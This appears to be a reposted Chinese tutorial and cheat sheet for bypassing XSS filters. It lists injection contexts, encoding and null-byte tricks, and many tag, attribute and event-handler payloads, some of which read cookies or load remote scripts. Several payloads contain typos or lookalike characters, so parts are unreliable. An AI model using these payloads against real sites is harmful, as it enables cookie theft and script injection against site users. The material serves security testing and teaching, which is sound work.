过滤测试
尝试插入比较正常的HTML标签,查看标签被过滤情况
尝试插入不闭合的标签,查看标签情况
然后测试几个XSS的payload,写入常见的几个语句,查看过滤的情况
<script>,aleret,prompt,confirm,javascript,href,onmouseover,onclimbatree,<a href>src等等
尝试把过滤的关键词进行大小写,双写,最后编码进行查看,找出可绕过方式
示例
输入在script标签中
<script>
Var x="Input";
</script>
可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了、
";alert(1)//
最终结果就是
<script>
Var x="";alert(1)//
</script>
非常规的事件监听
例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
下面是一些相同的类:
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
HREF内容可控
注:参考[[xss过滤绕过#编码规则]]
例如:
<a href="Userinput">Click</a>
可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:
javascript:alert(1)//
最后组合为:
<a href="javascript:alert(1)//">Click</a>
变换
使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。
JavaScript变换
使用javascript协议时可使用的例子:
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:u0061lert(1);
javascript:u0061lert(1)
javascript:alert(document.cookie)
Vbscript变换
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
输入在属性里
注:配合[[xss过滤绕过#^5c9c9b]]
<input value="XSStest" type=text>
可控位置为XSStest,可以使用
"><img src=x onerror=prompt(0);>
如果< >
被过滤的话可以换成
" autofocus onfocus=alert(1)//
同样还有很多其他的payload:
"οnmοuseοver=" prompt(0)x="
"οnfοcusin=alert(1) autofocusx="
" οnfοcusοut=alert(1) autofocus x="
"οnblur=alert(1) autofocusa="
JSON
当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了
encodeURIComponent('userinput')
userinput处可控,测试代码:
-alert(1)-
-prompt(1)-
-confirm(1)-
最终结果:
encodeURIComponent("-alert(1)-")
encodeURIComponent("-prompt(1)-")
SVG标签
当返回结果在svg标签中的时候,会有一个特性
<svg><script>varmyvar="YourInput";</script></svg>
YourInput可控,输入
www.site.com/test.php?var=text";alert(1)//
如果把"编码一些他仍然能够执行:
<svg><script>varmyvar="text";alert(1)//";</script></svg>
浏览器bug
字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
这个页面当中我们可控当前页面的字符集,当我们常规的测试时:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
返回结果可以看到双引号被编码了:
<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value=""><img src=x onerror=prompt(0);>"></input>
</body>
</html>
设置字符集为UTF-32:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面这个在IE9及以下版本可以执行成功。
利用0字节绕过:
<scri%00pt>alert(1);</scri%00pt>
<scrix00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
常见标签
<scirpt>
<scirpt>alert("xss");</script>
<img>
<img src=1 onerror=alert("xss");>
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<details>
<details ontoggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">
利用link远程包含js文件
PS:在无CSP的情况下才可以
link
<link rel=import href="http://127.0.0.1/1.js">
javascript伪协议
<a>标签
[xss](javascript:alert(`xss`);)
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>
属性
expression属性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
Src属性
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
action属性
利用<form,<isindex等标签中的action属性执行javascript
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
formaction属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
data属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
code属性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件触发
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
嵌套
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
location属性
<a onmouseover=location='javascript:alert(1)'>click
<body onfocus="loaction='javascript:alert(1)'">123
原文始发于微信公众号(TOP网络安全):实用XSS过滤绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论